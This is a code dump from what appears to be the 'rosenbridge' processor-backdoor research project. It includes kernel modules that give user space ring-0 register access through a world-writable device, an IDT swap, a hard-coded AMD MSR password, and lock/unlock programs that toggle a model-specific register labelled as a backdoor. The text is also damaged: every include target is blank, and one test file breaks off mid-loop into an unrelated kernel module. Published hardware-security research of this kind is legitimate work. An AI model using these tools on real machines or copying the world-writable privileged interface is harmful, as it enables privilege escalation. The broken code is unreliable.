123 | if ((result = cdev_add(&deis_kernel_cdev, deis_kernel_devno, 1)) < 0)
124 | {
125 | device_destroy(deis_kernel_class, deis_kernel_devno);
126 | class_destroy(deis_kernel_class);
127 | unregister_chrdev_region(deis_kernel_devno, 1);
128 | return result;
129 | }
130 |
131 | return 0;
132 | }
133 |
134 | static void unregister_device(void)
135 | {
136 | msg("unregister\n");
137 | cdev_del(&deis_kernel_cdev);
138 | device_destroy(deis_kernel_class, deis_kernel_devno);
139 | class_destroy(deis_kernel_class);
140 | unregister_chrdev_region(deis_kernel_devno, 1);
141 | }
142 |
143 | static int __init init_deis_kernel(void)
144 | {
145 | int result;
146 | msg("init\n");
147 | result=register_device();
148 | return result;
149 | }
150 |
151 | static void __exit cleanup_deis_kernel(void)
152 | {
153 | msg("exit\n");
154 | unregister_device();
155 | }
156 |
157 | module_init(init_deis_kernel);
158 | module_exit(cleanup_deis_kernel);
159 |
160 | MODULE_LICENSE("GPL");
161 |
162 |
--------------------------------------------------------------------------------
/kern/deis_kernel.h:
--------------------------------------------------------------------------------
1 | #ifndef DEIS_KERNEL_H
2 | #define DEIS_KERNEL_H
3 |
4 | #define GET_BUFFER_ADDRESS 0x8001
5 | #define GET_BUFFER_SIZE 0x8002
6 | #define READ_BUFFER 0x8003
7 | #define RESET_BUFFER 0x8004
8 |
9 | #endif // DEIS_KERNEL_H
10 |
--------------------------------------------------------------------------------
/kern/privregs/Makefile:
--------------------------------------------------------------------------------
1 | ARCH := $(shell getconf LONG_BIT)
2 | KERNEL_DIR := /lib/modules/$(shell uname -r)/build
3 |
4 | obj-m:=privregs.o
5 |
6 | default:
7 | $(MAKE) -C $(KERNEL_DIR) M=$(shell pwd) modules
8 |
9 | clean:
10 | $(MAKE) -C $(KERNEL_DIR) M=$(shell pwd) modules clean
11 |
--------------------------------------------------------------------------------
/kern/privregs/privregs.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 | #include
11 | #include
12 | #include
13 | #include
14 | #include
15 | #include
16 | #include
17 |
18 | #include "privregs.h"
19 |
20 | #define DEBUG 1
21 |
22 | #define USE_AMD_PASSWORD 1
23 | #define AMD_PASSWORD_VAL "0x9c5a203a"
24 | #define AMD_PASSWORD_REG "esi"
25 |
26 | #if DEBUG
27 | #define msg(m, ...) { printk(KERN_INFO "(%s)>> " m, device_name, ##__VA_ARGS__); }
28 | #else
29 | #define msg(m, ...)
30 | #endif
31 |
32 | #if defined(__x86_64__)
33 | typedef struct __attribute__ ((packed)) { uint64_t lo; uint64_t hi; } idt_descriptor_t;
34 | typedef struct __attribute__ ((packed)) { uint16_t size; uint64_t base; } idtr_t;
35 | typedef uint64_t register_t;
36 | #define PRIxPTR "016lx"
37 | #define FAULT_BYTES "32"
38 | #define SP "rsp"
39 | #elif defined(__i386__)
40 | typedef struct __attribute__ ((packed)) { uint64_t lo; } idt_descriptor_t;
41 | typedef struct __attribute__ ((packed)) { uint16_t size; uint32_t base; } idtr_t;
42 | typedef uint32_t register_t;
43 | #define PRIxPTR "08lx"
44 | #define FAULT_BYTES "16"
45 | #define SP "esp"
46 | #else
47 | #error
48 | #endif
49 |
50 | #define IDT_ALIGN 4096
51 | #define IDT_ENTRIES 256
52 |
53 | static void* idt_buffer=NULL;
54 | static void* idt=NULL;
55 | static idtr_t idtr_old, idtr_new;
56 |
57 | static const char device_name[]="privregs";
58 |
59 | static dev_t privregs_devno;
60 | static struct cdev privregs_cdev;
61 | static struct class *privregs_class;
62 |
63 | static long privreg_ioctl(
64 | struct file* file,
65 | unsigned int cmd,
66 | unsigned long val
67 | );
68 |
69 | static const struct file_operations fops={
70 | .owner = THIS_MODULE,
71 | .unlocked_ioctl = privreg_ioctl
72 | };
73 |
74 | static long privreg_ioctl(
75 | struct file* file,
76 | unsigned int usr_cmd,
77 | unsigned long usr_val
78 | )
79 | {
80 | unsigned int cmd;
81 | privregs_req_t req;
82 | register unsigned long r_data;
83 |
84 | cmd = usr_cmd;
85 | get_user(req.reg, &((privregs_req_t*)usr_val)->reg);
86 | /* get_user(req.val, &((privregs_req_t*)usr_val)->val); */
87 | /* poor old kernel can't find this? ^ */
88 | copy_from_user(&req.val, &((privregs_req_t*)usr_val)->val, sizeof(req.val));
89 |
90 | msg("ioctl %08x %08x %08llx\n", cmd, req.reg, req.val);
91 |
92 | switch (cmd) {
93 | case READ_CR:
94 | r_data=0;
95 | msg("cr read %u\n", req.reg);
96 | switch (req.reg) {
97 | case 0: __asm__ __volatile__ ("mov %%cr0, %0" : "=r"(r_data)); break;
98 | case 1: __asm__ __volatile__ ("mov %%cr1, %0" : "=r"(r_data)); break;
99 | case 2: __asm__ __volatile__ ("mov %%cr2, %0" : "=r"(r_data)); break;
100 | case 3: __asm__ __volatile__ ("mov %%cr3, %0" : "=r"(r_data)); break;
101 | case 4: __asm__ __volatile__ ("mov %%cr4, %0" : "=r"(r_data)); break;
102 | case 5: __asm__ __volatile__ ("mov %%cr5, %0" : "=r"(r_data)); break;
103 | case 6: __asm__ __volatile__ ("mov %%cr6, %0" : "=r"(r_data)); break;
104 | case 7: __asm__ __volatile__ ("mov %%cr7, %0" : "=r"(r_data)); break;
105 | case 8: __asm__ __volatile__ ("mov %%cr8, %0" : "=r"(r_data)); break;
106 | case 9: __asm__ __volatile__ ("mov %%cr9, %0" : "=r"(r_data)); break;
107 | case 10: __asm__ __volatile__ ("mov %%cr10, %0" : "=r"(r_data)); break;
108 | case 11: __asm__ __volatile__ ("mov %%cr11, %0" : "=r"(r_data)); break;
109 | case 12: __asm__ __volatile__ ("mov %%cr12, %0" : "=r"(r_data)); break;
110 | case 13: __asm__ __volatile__ ("mov %%cr13, %0" : "=r"(r_data)); break;
111 | case 14: __asm__ __volatile__ ("mov %%cr14, %0" : "=r"(r_data)); break;
112 | case 15: __asm__ __volatile__ ("mov %%cr15, %0" : "=r"(r_data)); break;
113 | default:
114 | msg("unsupported cr read %u\n", req.reg);
115 | break;
116 | }
117 | req.val=r_data;
118 | break;
119 | case WRITE_CR:
120 | r_data=req.val;
121 | msg("cr write %u\n", req.reg);
122 | switch (req.reg) {
123 | case 0: __asm__ __volatile__ ("mov %0, %%cr0" : : "r"(r_data)); break;
124 | case 1: __asm__ __volatile__ ("mov %0, %%cr1" : : "r"(r_data)); break;
125 | case 2: __asm__ __volatile__ ("mov %0, %%cr2" : : "r"(r_data)); break;
126 | case 3: __asm__ __volatile__ ("mov %0, %%cr3" : : "r"(r_data)); break;
127 | case 4: __asm__ __volatile__ ("mov %0, %%cr4" : : "r"(r_data)); break;
128 | case 5: __asm__ __volatile__ ("mov %0, %%cr5" : : "r"(r_data)); break;
129 | case 6: __asm__ __volatile__ ("mov %0, %%cr6" : : "r"(r_data)); break;
130 | case 7: __asm__ __volatile__ ("mov %0, %%cr7" : : "r"(r_data)); break;
131 | case 8: __asm__ __volatile__ ("mov %0, %%cr8" : : "r"(r_data)); break;
132 | case 9: __asm__ __volatile__ ("mov %0, %%cr9" : : "r"(r_data)); break;
133 | case 10: __asm__ __volatile__ ("mov %0, %%cr10" : : "r"(r_data)); break;
134 | case 11: __asm__ __volatile__ ("mov %0, %%cr11" : : "r"(r_data)); break;
135 | case 12: __asm__ __volatile__ ("mov %0, %%cr12" : : "r"(r_data)); break;
136 | case 13: __asm__ __volatile__ ("mov %0, %%cr13" : : "r"(r_data)); break;
137 | case 14: __asm__ __volatile__ ("mov %0, %%cr14" : : "r"(r_data)); break;
138 | case 15: __asm__ __volatile__ ("mov %0, %%cr15" : : "r"(r_data)); break;
139 | default:
140 | msg("unsupported cr write %u\n", req.reg);
141 | break;
142 | }
143 | break;
144 | case READ_DR:
145 | r_data=0;
146 | msg("dr read %u\n", req.reg);
147 | switch (req.reg) {
148 | case 0: __asm__ __volatile__ ("mov %%dr0, %0" : "=r"(r_data)); break;
149 | case 1: __asm__ __volatile__ ("mov %%dr1, %0" : "=r"(r_data)); break;
150 | case 2: __asm__ __volatile__ ("mov %%dr2, %0" : "=r"(r_data)); break;
151 | case 3: __asm__ __volatile__ ("mov %%dr3, %0" : "=r"(r_data)); break;
152 | case 4: __asm__ __volatile__ ("mov %%dr4, %0" : "=r"(r_data)); break;
153 | case 5: __asm__ __volatile__ ("mov %%dr5, %0" : "=r"(r_data)); break;
154 | case 6: __asm__ __volatile__ ("mov %%dr6, %0" : "=r"(r_data)); break;
155 | case 7: __asm__ __volatile__ ("mov %%dr7, %0" : "=r"(r_data)); break;
156 | default:
157 | msg("unsupported dr read %u\n", req.reg);
158 | break;
159 | }
160 | req.val=r_data;
161 | break;
162 | case WRITE_DR:
163 | r_data=req.val;
164 | msg("dr write %u\n", req.reg);
165 | switch (req.reg) {
166 | case 0: __asm__ __volatile__ ("mov %0, %%dr0" : : "r"(r_data)); break;
167 | case 1: __asm__ __volatile__ ("mov %0, %%dr1" : : "r"(r_data)); break;
168 | case 2: __asm__ __volatile__ ("mov %0, %%dr2" : : "r"(r_data)); break;
169 | case 3: __asm__ __volatile__ ("mov %0, %%dr3" : : "r"(r_data)); break;
170 | case 4: __asm__ __volatile__ ("mov %0, %%dr4" : : "r"(r_data)); break;
171 | case 5: __asm__ __volatile__ ("mov %0, %%dr5" : : "r"(r_data)); break;
172 | case 6: __asm__ __volatile__ ("mov %0, %%dr6" : : "r"(r_data)); break;
173 | case 7: __asm__ __volatile__ ("mov %0, %%dr7" : : "r"(r_data)); break;
174 | default:
175 | msg("unsupported dr write %u\n", req.reg);
176 | break;
177 | }
178 | break;
179 | case READ_MSR:
180 | __asm__ __volatile__ ("\
181 | movl %2, %%ecx \n\
182 | rdmsr \n\
183 | movl %%eax, %0 \n\
184 | movl %%edx, %1 \n\
185 | "
186 | :"=m"(req.val), "=m"(*((uint32_t*)&req.val+1))
187 | :"m"(req.reg)
188 | :"eax", "ecx", "edx"
189 | );
190 | break;
191 | case WRITE_MSR:
192 | __asm__ __volatile__ ("\
193 | "
194 | #if USE_AMD_PASSWORD
195 | "\
196 | movl $" AMD_PASSWORD_VAL ", %%" AMD_PASSWORD_REG "\n\
197 | "
198 | #endif
199 | "\
200 | movl %2, %%ecx \n\
201 | movl %0, %%eax \n\
202 | movl %1, %%edx \n\
203 | wrmsr \n\
204 | "
205 | :
206 | :"m"(req.val), "m"(*((uint32_t*)&req.val+1)), "m"(req.reg)
207 | :"eax", "ecx", "edx", AMD_PASSWORD_REG
208 | );
209 | break;
210 | case CHECK_MSR:
211 | __asm__ __volatile__ ("lidt %0" :: "m"(idtr_new));
212 | __asm__ __volatile__ ("\
213 | "
214 | #if USE_AMD_PASSWORD
215 | "\
216 | movl $" AMD_PASSWORD_VAL ", %%" AMD_PASSWORD_REG "\n\
217 | "
218 | #endif
219 | "\
220 | movl %1, %%ecx \n\
221 | rdmsr \n\
222 | movl $1, %0 \n\
223 | jmp done \n\
224 | handler: \n\
225 | add $" FAULT_BYTES ", %%" SP "\n\
226 | movl $0, %0 \n\
227 | done: \n\
228 | "
229 | :"=m"(req.val)
230 | :"m"(req.reg)
231 | :"eax", "ecx", "edx", AMD_PASSWORD_REG
232 | );
233 | __asm__ __volatile__ ("lidt %0" :: "m"(idtr_old));
234 | break;
235 | case READ_SEG:
236 | r_data=0;
237 | msg("seg read %u\n", req.reg);
238 | switch (req.reg) {
239 | case SEG_DS: __asm__ __volatile__ ("mov %%ds, %0" : "=r"(r_data)); break;
240 | case SEG_ES: __asm__ __volatile__ ("mov %%es, %0" : "=r"(r_data)); break;
241 | case SEG_FS: __asm__ __volatile__ ("mov %%fs, %0" : "=r"(r_data)); break;
242 | case SEG_GS: __asm__ __volatile__ ("mov %%gs, %0" : "=r"(r_data)); break;
243 | case SEG_SS: __asm__ __volatile__ ("mov %%ss, %0" : "=r"(r_data)); break;
244 | case SEG_CS: __asm__ __volatile__ ("mov %%cs, %0" : "=r"(r_data)); break;
245 | default:
246 | msg("unsupported seg read %u\n", req.reg);
247 | break;
248 | }
249 | req.val=r_data;
250 | break;
251 | case WRITE_SEG:
252 | r_data=req.val;
253 | msg("seg write %u\n", req.reg);
254 | switch (req.reg) {
255 | case SEG_DS: __asm__ __volatile__ ("mov %0, %%ds" : : "r"(r_data)); break;
256 | case SEG_ES: __asm__ __volatile__ ("mov %0, %%es" : : "r"(r_data)); break;
257 | case SEG_FS: __asm__ __volatile__ ("mov %0, %%fs" : : "r"(r_data)); break;
258 | case SEG_GS: __asm__ __volatile__ ("mov %0, %%gs" : : "r"(r_data)); break;
259 | case SEG_SS: __asm__ __volatile__ ("mov %0, %%ss" : : "r"(r_data)); break;
260 | case SEG_CS: __asm__ __volatile__ ("mov %0, %%cs" : : "r"(r_data)); break;
261 | default:
262 | msg("unsupported seg write %u\n", req.reg);
263 | break;
264 | }
265 | break;
266 | default:
267 | msg("unrecognized ioctl %d\n", cmd);
268 | break;
269 | }
270 | put_user(req.reg, &((privregs_req_t*)usr_val)->reg);
271 | put_user(req.val, &((privregs_req_t*)usr_val)->val);
272 | return 0;
273 | }
274 |
275 | static int swap_idt(void)
276 | {
277 | extern /* void */ char handler;
278 | uint64_t fault_handler=(uint64_t)(uintptr_t)&handler;
279 | idt_descriptor_t descriptor_d_catch, descriptor_d_orig;
280 |
281 | msg("swapping idt\n");
282 |
283 | idt_buffer=kmalloc(IDT_ALIGN+IDT_ENTRIES*sizeof(idt_descriptor_t), GFP_KERNEL);
284 | if (idt_buffer==NULL) { return -1; }
285 | idt=(void*)(((uintptr_t)idt_buffer)&~((uintptr_t)IDT_ALIGN-1));
286 |
287 | msg("idt_buffer: %"PRIxPTR"\n", (uintptr_t)idt_buffer);
288 | msg("idt: %"PRIxPTR"\n", (uintptr_t)idt);
289 |
290 | __asm__ __volatile__ ("\
291 | sidt %[_idt] \n\
292 | "
293 | : [_idt]"=m"(idtr_old)
294 | );
295 |
296 | msg("idtr.base: %"PRIxPTR"\n", (uintptr_t)idtr_old.base);
297 | msg("idtr.size: %04x\n", idtr_old.size);
298 |
299 | descriptor_d_orig=((idt_descriptor_t*)idtr_old.base)[0xd];
300 |
301 | msg("idt[d].lo: %016llx\n", descriptor_d_orig.lo);
302 |
303 | memcpy(idt, (void*)idtr_old.base, IDT_ENTRIES*sizeof(idt_descriptor_t));
304 |
305 | idtr_new.size=idtr_old.size;
306 | idtr_new.base=(uintptr_t)idt;
307 |
308 | msg("handler address > %"PRIxPTR"\n", (uintptr_t)&handler);
309 |
310 | descriptor_d_catch.lo=
311 | (descriptor_d_orig.lo&0x0000ffffffff0000ULL)|
312 | (fault_handler&0x000000000000ffffULL) |
313 | ((fault_handler&0x00000000ffff0000ULL) << 32);
314 |
315 | #if defined(__x86_64__)
316 | descriptor_d_catch.hi=
317 | ((fault_handler&0xffffffff00000000ULL) >> 32);
318 | #endif
319 |
320 | ((idt_descriptor_t*)idtr_new.base)[0xd]=descriptor_d_catch;
321 |
322 | msg("idt[d].lo: %016llx\n", descriptor_d_catch.lo);
323 |
324 | return 0;
325 | }
326 |
327 | static void unswap_idt(void)
328 | {
329 | kfree(idt_buffer);
330 | }
331 |
332 | static char *privregs_devnode(struct device *dev, umode_t *mode)
333 | {
334 | if (!mode)
335 | return NULL;
336 | /*
337 | if (dev->devt == MKDEV(TTYAUX_MAJOR, 0) ||
338 | dev->devt == MKDEV(TTYAUX_MAJOR, 2))
339 | */
340 | *mode=0666;
341 | return NULL;
342 | }
343 |
344 | static int register_device(void)
345 | {
346 | int result;
347 | struct device *dev_ret;
348 |
349 | if ((result=alloc_chrdev_region(&privregs_devno, 0, 1, device_name)) < 0) {
350 | return result;
351 | }
352 |
353 | if (IS_ERR(privregs_class=class_create(THIS_MODULE, device_name))) {
354 | unregister_chrdev_region(privregs_devno, 1);
355 | return PTR_ERR(privregs_class);
356 | }
357 | privregs_class->devnode=privregs_devnode;
358 | if (IS_ERR(dev_ret=device_create(privregs_class, NULL, privregs_devno, NULL, device_name))) {
359 | class_destroy(privregs_class);
360 | unregister_chrdev_region(privregs_devno, 1);
361 | return PTR_ERR(dev_ret);
362 | }
363 |
364 | cdev_init(&privregs_cdev, &fops);
365 | if ((result = cdev_add(&privregs_cdev, privregs_devno, 1)) < 0)
366 | {
367 | device_destroy(privregs_class, privregs_devno);
368 | class_destroy(privregs_class);
369 | unregister_chrdev_region(privregs_devno, 1);
370 | return result;
371 | }
372 |
373 | return 0;
374 | }
375 |
376 | static void unregister_device(void)
377 | {
378 | msg("unregister\n");
379 | cdev_del(&privregs_cdev);
380 | device_destroy(privregs_class, privregs_devno);
381 | class_destroy(privregs_class);
382 | unregister_chrdev_region(privregs_devno, 1);
383 | }
384 |
385 | static int __init init_privreg(void)
386 | {
387 | int result;
388 | msg("init\n");
389 | result=register_device();
390 |
391 | if (!result) {
392 | result=swap_idt();
393 | }
394 |
395 | return result;
396 | }
397 |
398 | static void __exit cleanup_privreg(void)
399 | {
400 | msg("exit\n");
401 | unswap_idt();
402 | unregister_device();
403 | }
404 |
405 | module_init(init_privreg);
406 | module_exit(cleanup_privreg);
407 |
408 | MODULE_LICENSE("GPL");
409 | MODULE_AUTHOR("xoreaxeaxeax");
410 | MODULE_DESCRIPTION("Access to ring 0 registers");
411 |
--------------------------------------------------------------------------------
/kern/privregs/privregs.h:
--------------------------------------------------------------------------------
1 | #ifndef PRIVREGS_H
2 | #define PRIVREGS_H
3 |
4 | #define READ_CR 0x8001
5 | #define READ_DR 0x8002
6 | #define READ_SEG 0x8003
7 | #define READ_MSR 0x8004
8 | #define WRITE_CR 0x8005
9 | #define WRITE_DR 0x8006
10 | #define WRITE_SEG 0x8007
11 | #define WRITE_MSR 0x8008
12 | #define CHECK_MSR 0x8009
13 |
14 | typedef enum {
15 | SEG_DS,
16 | SEG_ES,
17 | SEG_FS,
18 | SEG_GS,
19 | SEG_SS,
20 | SEG_CS
21 | } segment_register_t;
22 |
23 | typedef struct {
24 | uint32_t reg;
25 | uint64_t val;
26 | } privregs_req_t;
27 |
28 | #endif // PRIVREGS_H
29 |
--------------------------------------------------------------------------------
/kern/test_deis_kernel.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include "deis_kernel.h"
8 |
9 | int main(void)
10 | {
11 | int i;
12 | uintptr_t buffer_address;
13 | unsigned int buffer_size;
14 | unsigned char* buffer=NULL;
15 | int handle;
16 |
17 | handle=open("/dev/deis_kernel", O_RDWR);
18 |
19 | if (!handle) {
20 | printf("could not open device\n");
21 | exit(-1);
22 | }
23 |
24 | ioctl(handle, GET_BUFFER_SIZE, &buffer_size);
25 | printf("buffer size: %d\n", buffer_size);
26 | buffer=malloc(buffer_size);
27 |
28 | ioctl(handle, GET_BUFFER_ADDRESS, &buffer_address);
29 | printf("buffer address: %08x\n", buffer_address);
30 |
31 | ioctl(handle, READ_BUFFER, buffer);
32 | for (i=0; i // included for all kernel modules
2 | #include // included for KERN_INFO
3 | #include // included for __init and __exit macros
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 | #include
10 |
11 | #define DEVICE_NAME "watch_mem"
12 |
13 | int g_time_interval = 1000;
14 | struct timer_list g_timer;
15 |
16 | unsigned char buffer[]={
17 | 0x00, 0x11, 0x22, 0x33, 0x44, 0x55, 0x66, 0x77,
18 | 0x88, 0x99, 0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff,
19 | };
20 |
21 | void tick(unsigned long data)
22 | {
23 | printk(">>> &buffer: %08lx > %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x %02x\n",
24 | (uintptr_t)buffer,
25 | buffer[0],
26 | buffer[1],
27 | buffer[2],
28 | buffer[3],
29 | buffer[4],
30 | buffer[5],
31 | buffer[6],
32 | buffer[7],
33 | buffer[8],
34 | buffer[9],
35 | buffer[10],
36 | buffer[11],
37 | buffer[12],
38 | buffer[13],
39 | buffer[14],
40 | buffer[15]
41 | );
42 |
43 | /* restart the timer */
44 | mod_timer(&g_timer, jiffies+msecs_to_jiffies(g_time_interval));
45 | }
46 |
47 | static int __init watch_init(void)
48 | {
49 | printk(KERN_INFO "entering\n");
50 |
51 | /* start the timer */
52 | setup_timer(&g_timer, tick, 0);
53 | mod_timer( &g_timer, jiffies + msecs_to_jiffies(g_time_interval));
54 |
55 | return 0;
56 | }
57 |
58 | static void __exit watch_cleanup(void)
59 | {
60 | printk(KERN_INFO "Cleaning up module.\n");
61 | del_timer(&g_timer);
62 | }
63 |
64 | module_init(watch_init);
65 | module_exit(watch_cleanup);
66 |
--------------------------------------------------------------------------------
/lock/Makefile:
--------------------------------------------------------------------------------
1 | all: bin/unlock bin/lock
2 |
3 | bin/unlock: unlock.c
4 | mkdir -p bin
5 | gcc -m32 unlock.c -o bin/unlock
6 |
7 | bin/lock: lock.c
8 | mkdir -p bin
9 | gcc -m32 lock.c -o bin/lock
10 |
11 | clean:
12 | rm -f bin/*
13 |
--------------------------------------------------------------------------------
/lock/lock.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #define BACKDOOR_MSR 0x00001107
9 | #define BACKDOOR_TOGGLE 0x00000001
10 |
11 | #define MSR_DEV "/dev/cpu/0/msr"
12 |
13 | int main(void)
14 | {
15 | FILE* f;
16 | uint64_t v;
17 |
18 | f=fopen(MSR_DEV, "rb+");
19 |
20 | if (f==NULL) {
21 | printf("! failed to open %s\n", MSR_DEV);
22 | exit(-1);
23 | }
24 |
25 | fseek(f, BACKDOOR_MSR, SEEK_SET);
26 | fread(&v, 8, 1, f);
27 | printf("read.... %08llx\n", v);
28 |
29 | v&=~BACKDOOR_TOGGLE;
30 |
31 | fseek(f, BACKDOOR_MSR, SEEK_SET);
32 | fwrite(&v, 8, 1, f);
33 | printf("wrote... %08llx\n", v);
34 |
35 | fseek(f, BACKDOOR_MSR, SEEK_SET);
36 | fread(&v, 8, 1, f);
37 | printf("read.... %08llx\n", v);
38 |
39 | fclose(f);
40 |
41 | return 0;
42 | }
43 |
--------------------------------------------------------------------------------
/lock/unlock.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 |
8 | #define BACKDOOR_MSR 0x00001107
9 | #define BACKDOOR_TOGGLE 0x00000001
10 |
11 | #define MSR_DEV "/dev/cpu/0/msr"
12 |
13 | int main(void)
14 | {
15 | FILE* f;
16 | uint64_t v;
17 |
18 | f=fopen(MSR_DEV, "rb+");
19 |
20 | if (f==NULL) {
21 | printf("! failed to open %s\n", MSR_DEV);
22 | exit(-1);
23 | }
24 |
25 | fseek(f, BACKDOOR_MSR, SEEK_SET);
26 | fread(&v, 8, 1, f);
27 | printf("read.... %08llx\n", v);
28 |
29 | v|=BACKDOOR_TOGGLE;
30 |
31 | fseek(f, BACKDOOR_MSR, SEEK_SET);
32 | fwrite(&v, 8, 1, f);
33 | printf("wrote... %08llx\n", v);
34 |
35 | fseek(f, BACKDOOR_MSR, SEEK_SET);
36 | fread(&v, 8, 1, f);
37 | printf("read.... %08llx\n", v);
38 |
39 | fclose(f);
40 |
41 | return 0;
42 | }
43 |
--------------------------------------------------------------------------------
/proc/extract.py:
--------------------------------------------------------------------------------
1 | #
2 | # project:rosenbridge
3 | # domas // @xoreaxeaxeax
4 | #
5 |
6 | # the pattern extractor #
7 |
8 | # this utility is used to process the logs generated from the deis instruction
9 | # fuzzer. by looking at changes in the system state, it identifies basic
10 | # patterns in an instruction, such as 'adds two registers' or 'loads a value
11 | # from memory'. it then groups instructions based on overlapping patterns; for
12 | # example, it may find a group that both writes a value to memory, and
13 | # decrements a register by 4 - we might then infer that these are 'push'
14 | # instructions.
15 |
16 | # the script should be run with pypy, and may use very large (>16 gb) amounts of
17 | # memory.
18 |
19 | import re
20 | import operator
21 | import sys
22 | import random
23 |
24 | ALL_RUNS = 4 # 1 for search kernel
25 | MEM_RUNS = 2 # 1 for search kernel
26 |
27 | registers = {
28 | "eax":32, "ebx":32, "ecx":32, "edx":32, "esi":32, "edi":32, "ebp":32, "esp":32,
29 | "mm0":64, "mm1":64, "mm2":64, "mm3":64, "mm4":64, "mm5":64, "mm6":64, "mm7":64,
30 | "cr0":32, "cr2":32, "cr3":32, "cr4":32,
31 | "dr0":32, "dr1":32, "dr2":32, "dr3":32, "dr4":32, "dr5":32, "dr6":32, "dr7":32,
32 | "eflags":32,
33 | }
34 |
35 | sprs = [
36 | "cr0", "cr2", "cr3", "cr4",
37 | "dr0", "dr1", "dr2", "dr3", "dr4", "dr5", "dr6", "dr7",
38 | "eflags",
39 | ]
40 |
41 | class insn:
42 | def __init__(self, instruction, input_state, output_state, input_mem, output_mem, run, lines=""):
43 | self.instruction = instruction
44 | self.input_state = input_state
45 | self.output_state = output_state
46 | self.input_mem = input_mem
47 | self.output_mem = output_mem
48 | self.run = run
49 | self.lines = lines
50 |
51 | def bits(self):
52 | b = "{0:032b}".format(self.instruction)
53 | n = 4
54 | b = " ".join([b[i:i+n] for i in xrange(0, len(b), n)])
55 | n = 10
56 | b = " ".join([b[i:i+n] for i in xrange(0, len(b), n)])
57 | return b
58 |
59 | def __str__(self):
60 | return "%08x [ %s ]" % (self.instruction, self.bits())
61 |
62 | instructions = []
63 |
64 | if len(sys.argv) < 2:
65 | print "usage: parse_log.py log"
66 | exit(-1)
67 |
68 | with open(sys.argv[1], "r") as f:
69 | state = None
70 | instruction = None
71 | i_lines = None
72 | run = None
73 |
74 | # loading
75 | lines = f.readlines()
76 |
77 | # cleaning
78 | HEADER = "> device <.*, unknown>: "
79 | cleaned_lines = []
80 | for l in lines:
81 | l = l.replace("\r\n", "\n")
82 | if "debian kernel" in l:
83 | # remove kernel messages, which can appear in between others
84 | continue
85 | # temporary hack to correct missing spaces in mmx headers
86 | if "mm0" in l or "mm4" in l:
87 | l = l[:-1] + " " + "\n"
88 | if re.match(HEADER, l):
89 | l = l[re.search(HEADER, l).end():]
90 | if l.strip():
91 | #cleaned_lines.append(l.strip() + '\n')
92 | cleaned_lines.append(l.rstrip("\r\n") + '\n')
93 | lines = cleaned_lines
94 |
95 | # parsing
96 | skip = False
97 | for (i, l) in enumerate(lines):
98 | if l.startswith(">------------------"):
99 | # parse start
100 | i_lines = []
101 | state_in = {}
102 | state_out = {}
103 | i_mem = []
104 | o_mem = []
105 | run = None
106 | elif l.startswith("<------------------") or "(timeout - aborting)" in l:
107 | # parse end
108 | if not skip:
109 | if instruction and state_in and state_out and i_mem and o_mem and run is not None:
110 | instructions.append(insn(instruction, state_in, state_out, i_mem, o_mem, run, i_lines))
111 | skip = False
112 | elif l.startswith("(run"):
113 | # parse run
114 | run = int(re.search("^\(run (\d+)\)", l).group(1))
115 | elif l.startswith(". L("):
116 | # parse instruction
117 | instruction = int(re.search("^. L\((.{8})\)", l).group(1), 16)
118 | elif "00 04 08 0c" in l:
119 | # parse memory
120 | i_mem_l = lines[i+1][len(". inject: "):]
121 | o_mem_l = lines[i+2][len(". result: "):]
122 | try:
123 | i_mem = [int(x, 16) for x in i_mem_l.split()]
124 | o_mem = [int(x, 16) for x in o_mem_l.split()]
125 | except:
126 | print "warning: skipping corrupted line %d" % i
127 | skip = True
128 | break
129 | elif any(r in l for r in registers):
130 | # parse state
131 | for r in registers:
132 | if r not in l:
133 | continue
134 | k = l.index(r)
135 | reg_len = re.search("[^ ]", l[k + len(r):]).start() + len(r)
136 | try:
137 | reg_in = int(lines[i+1][k:k+reg_len].replace(" ", ""), 16)
138 | reg_out = int(lines[i+2][k:k+reg_len].replace(" ", ""), 16)
139 | except:
140 | print "warning: skipping corrupted line %d" % i
141 | skip = True
142 | break
143 | state_in[r] = reg_in
144 | state_out[r] = reg_out
145 | for k in xrange(3):
146 | if lines[i + k] not in i_lines:
147 | i_lines.append(lines[i + k])
148 |
149 | # shortcut, just print all instructions
150 | if "-ll" in sys.argv:
151 | l = []
152 | for ins in instructions:
153 | l.append("%08x" % ins.instruction)
154 | print "uint32_t twiddle_ins_source[]={"
155 | for i in sorted(set(l)):
156 | print " 0x%s," % i
157 | print "};"
158 | exit(0)
159 |
160 | # group multiple runs
161 | ins_runs = {}
162 | for ins in instructions:
163 | if ins.instruction in ins_runs:
164 | ins_runs[ins.instruction].append(ins)
165 | else:
166 | ins_runs[ins.instruction] = [ins]
167 |
168 | ins_to_patterns = {}
169 | patterns_to_ins = {}
170 | def add_ins_to_pattern(ins, pattern):
171 | # remove old pattern
172 | if ins in ins_to_patterns:
173 | p = ins_to_patterns[ins]
174 | if p in patterns_to_ins:
175 | patterns_to_ins[p].remove(ins)
176 |
177 | # add new pattern
178 | if ins in ins_to_patterns:
179 | ins_to_patterns[ins] = ins_to_patterns[ins].union([pattern])
180 | else:
181 | ins_to_patterns[ins] = frozenset([pattern])
182 |
183 | p = ins_to_patterns[ins]
184 |
185 | if p in patterns_to_ins:
186 | patterns_to_ins[p].append(ins)
187 | else:
188 | patterns_to_ins[p] = [ins]
189 |
190 | def hiword(val):
191 | return (val & 0xffff0000) >> 16
192 |
193 | def loword(val):
194 | return val & 0xffff
195 |
196 | MIN_RUNS = 1
197 | pattern_name = "word swap"
198 | print
199 | print "==== %s ====" % pattern_name
200 | o = []
201 | for ins_run in ins_runs.values():
202 | passed = []
203 | for ins in ins_run:
204 | for ri, vi in ins.input_state.items():
205 | vo = ins.output_state[ri]
206 | # ignore target registers that didn't change
207 | if vo == vi:
208 | continue
209 | if loword(vi) == hiword(vo) and hiword(vi) == loword(vo):
210 | if vo != 0: # filter 0 transfers
211 | passed.append((ins, "%s: %s: %08x -> %08x" % (ins, ri, vi, vo)))
212 | # if all runs had the same behavior
213 | if len(passed) == len(ins_run) and len(passed) >= MIN_RUNS:
